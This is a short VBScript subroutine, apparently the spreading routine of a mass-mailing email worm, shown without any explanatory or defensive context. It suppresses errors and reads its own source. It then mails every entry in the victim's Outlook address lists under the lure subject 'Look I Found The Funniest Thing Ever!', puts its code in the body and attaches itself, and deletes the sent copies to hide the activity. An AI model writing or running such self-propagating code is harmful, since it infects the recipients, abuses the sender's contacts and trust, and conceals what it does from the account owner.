Sub MailAllAddresses()
dim OutLookApp,OutLookNameSpace,OutLookAdressList,NoClue,Mail,MailTo,FSO,File,FileCopy
dim MaxEnteries
dim Path
On Error Resume Next
set Regedit=CreateObject("WScript.Shell")
Set OutLookApp = CreateObject("Outlook.Application")
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
path = regedit.scriptfullname
filecopy = file.readall
file.close
If OutLookApp = "Outlook" Then
Set OutLookNameSpace = OutLookApp.GetNameSpace("MAPI")
Set OutLookAdressList = OutLookNameSpace.AddressLists
For Each NoClue In OutLookAdressList
If NoClue.AddressEntries.Count <> 0 Then
MaxEnteries = NoClue.AddressEntries.Count
For I = 1 To MaxEnteries
Set Mail = OutLookApp.CreateItem(0)
Set MailTo = NoClue.AddressEntries(I)
Mail.To = MailTo.Address
Mail.Subject = "Look I Found The Funniest Thing Ever!"
Mail.Body = filecopy & vbcrlf & ""
Mail.Attachments.Add(path)
Mail.DeleteAfterSubmit = True
If Mail.To <> "" Then Mail.Send
Next
End If
Next
End If
End Sub